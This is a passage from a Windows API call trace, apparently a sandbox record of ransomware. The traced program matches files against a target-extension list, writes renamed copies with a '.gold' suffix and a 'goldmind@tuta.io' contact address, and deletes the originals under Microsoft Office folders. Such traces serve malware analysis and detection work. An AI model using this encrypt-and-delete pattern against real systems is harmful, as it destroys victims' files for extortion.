(lpString=".bz2") returned 4 [0108.146] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0108.146] lstrlenW (lpString=".7z") returned 3 [0108.146] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString=".dbf") returned 4 [0108.146] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString=".1cd") returned 4 [0108.146] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString=".jpg") returned 4 [0108.146] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString=".doc") returned 4 [0108.146] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0108.147] lstrlenW (lpString=".docx") returned 5 [0108.147] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0108.147] lstrlenW (lpString=".pdf") returned 4 [0108.147] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0108.147] lstrlenW (lpString=".xls") returned 4 [0108.147] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0108.147] lstrlenW (lpString=".xlsx") returned 5 [0108.147] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0108.147] lstrlenW (lpString=".ppt") returned 4 [0108.147] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0108.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.147] lstrlenW (lpString=".zip") returned 4 [0108.147] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0108.147] lstrlenW (lpString=".rar") returned 4 [0108.147] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0108.147] lstrlenW (lpString=".bz2") returned 4 [0108.147] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0108.147] lstrlenW (lpString=".7z") returned 3 [0108.147] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0108.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.147] lstrlenW (lpString=".dbf") returned 4 [0108.147] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0108.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.147] lstrlenW (lpString=".1cd") returned 4 [0108.147] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0108.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.147] lstrlenW (lpString=".jpg") returned 4 [0108.147] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0108.147] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0108.147] lstrlenW (lpString="WINPROJ.DEV_COL.HXT") returned 19 [0108.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.212] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=211) returned 1 [0108.212] CloseHandle (hObject=0x3a8) returned 1 [0108.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 0x20 [0108.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.212] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.212] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.213] GetLastError () returned 0x0 [0108.213] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xd3, lpOverlapped=0x0) returned 1 [0108.214] WriteFile (in: hFile=0x188, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0108.214] ReadFile (in: hFile=0x3a8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.214] WriteFile (in: hFile=0x188, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0108.215] SetEndOfFile (hFile=0x188) returned 1 [0108.215] CloseHandle (hObject=0x188) returned 1 [0108.215] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.215] SetEndOfFile (hFile=0x3a8) returned 1 [0108.217] CloseHandle (hObject=0x3a8) returned 1 [0108.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 1 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString=".doc") returned 4 [0108.218] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.218] lstrlenW (lpString=".docx") returned 5 [0108.218] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.218] lstrlenW (lpString=".pdf") returned 4 [0108.218] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.218] lstrlenW (lpString=".xls") returned 4 [0108.218] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.218] lstrlenW (lpString=".xlsx") returned 5 [0108.218] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.218] lstrlenW (lpString=".ppt") returned 4 [0108.218] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString=".zip") returned 4 [0108.218] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.218] lstrlenW (lpString=".rar") returned 4 [0108.218] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.218] lstrlenW (lpString=".bz2") returned 4 [0108.218] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.218] lstrlenW (lpString=".7z") returned 3 [0108.218] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString=".dbf") returned 4 [0108.218] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString=".1cd") returned 4 [0108.218] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString=".jpg") returned 4 [0108.218] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.219] lstrlenW (lpString=".doc") returned 4 [0108.219] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.219] lstrlenW (lpString=".docx") returned 5 [0108.219] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.219] lstrlenW (lpString=".pdf") returned 4 [0108.219] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.219] lstrlenW (lpString=".xls") returned 4 [0108.219] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.219] lstrlenW (lpString=".xlsx") returned 5 [0108.219] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.219] lstrlenW (lpString=".ppt") returned 4 [0108.219] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.219] lstrlenW (lpString=".zip") returned 4 [0108.219] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.219] lstrlenW (lpString=".rar") returned 4 [0108.219] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.219] lstrlenW (lpString=".bz2") returned 4 [0108.219] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.219] lstrlenW (lpString=".7z") returned 3 [0108.219] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.219] lstrlenW (lpString=".dbf") returned 4 [0108.219] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.219] lstrlenW (lpString=".1cd") returned 4 [0108.219] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0108.219] lstrlenW (lpString=".jpg") returned 4 [0108.219] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.219] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0108.219] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0108.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0108.230] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=631) returned 1 [0108.230] CloseHandle (hObject=0x19c) returned 1 [0108.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 0x20 [0108.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0108.286] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.286] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.287] GetLastError () returned 0x0 [0108.287] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x277, lpOverlapped=0x0) returned 1 [0108.300] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x280, lpOverlapped=0x0) returned 1 [0108.300] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.300] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0108.301] SetEndOfFile (hFile=0x3b4) returned 1 [0108.301] CloseHandle (hObject=0x3b4) returned 1 [0108.301] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.301] SetEndOfFile (hFile=0x3cc) returned 1 [0108.307] CloseHandle (hObject=0x3cc) returned 1 [0108.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 1 [0108.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.308] lstrlenW (lpString=".doc") returned 4 [0108.308] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.308] lstrlenW (lpString=".docx") returned 5 [0108.308] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.308] lstrlenW (lpString=".pdf") returned 4 [0108.308] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.308] lstrlenW (lpString=".xls") returned 4 [0108.308] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.308] lstrlenW (lpString=".xlsx") returned 5 [0108.308] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.308] lstrlenW (lpString=".ppt") returned 4 [0108.308] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.308] lstrlenW (lpString=".zip") returned 4 [0108.308] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.308] lstrlenW (lpString=".rar") returned 4 [0108.308] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.308] lstrlenW (lpString=".bz2") returned 4 [0108.308] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.308] lstrlenW (lpString=".7z") returned 3 [0108.309] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".dbf") returned 4 [0108.309] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".1cd") returned 4 [0108.309] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".jpg") returned 4 [0108.309] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".doc") returned 4 [0108.309] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.309] lstrlenW (lpString=".docx") returned 5 [0108.309] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.309] lstrlenW (lpString=".pdf") returned 4 [0108.309] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.309] lstrlenW (lpString=".xls") returned 4 [0108.309] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.309] lstrlenW (lpString=".xlsx") returned 5 [0108.309] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.309] lstrlenW (lpString=".ppt") returned 4 [0108.309] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".zip") returned 4 [0108.309] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.309] lstrlenW (lpString=".rar") returned 4 [0108.309] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.309] lstrlenW (lpString=".bz2") returned 4 [0108.309] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.309] lstrlenW (lpString=".7z") returned 3 [0108.309] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".dbf") returned 4 [0108.309] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".1cd") returned 4 [0108.309] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0108.309] lstrlenW (lpString=".jpg") returned 4 [0108.309] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.309] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0108.309] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0108.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0108.335] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=207) returned 1 [0108.335] CloseHandle (hObject=0x180) returned 1 [0108.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 0x20 [0108.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0108.336] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.336] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0108.337] GetLastError () returned 0x0 [0108.337] ReadFile (in: hFile=0x180, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xcf, lpOverlapped=0x0) returned 1 [0108.337] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0108.338] ReadFile (in: hFile=0x180, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.338] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0108.338] SetEndOfFile (hFile=0x194) returned 1 [0108.338] CloseHandle (hObject=0x194) returned 1 [0108.338] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.338] SetEndOfFile (hFile=0x180) returned 1 [0108.340] CloseHandle (hObject=0x180) returned 1 [0108.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 1 [0108.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.341] lstrlenW (lpString=".doc") returned 4 [0108.341] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.341] lstrlenW (lpString=".docx") returned 5 [0108.341] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.341] lstrlenW (lpString=".pdf") returned 4 [0108.341] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.341] lstrlenW (lpString=".xls") returned 4 [0108.341] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.341] lstrlenW (lpString=".xlsx") returned 5 [0108.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.341] lstrlenW (lpString=".ppt") returned 4 [0108.341] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.341] lstrlenW (lpString=".zip") returned 4 [0108.341] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.341] lstrlenW (lpString=".rar") returned 4 [0108.341] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.341] lstrlenW (lpString=".bz2") returned 4 [0108.341] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString=".7z") returned 3 [0108.342] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".dbf") returned 4 [0108.342] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".1cd") returned 4 [0108.342] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".jpg") returned 4 [0108.342] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft 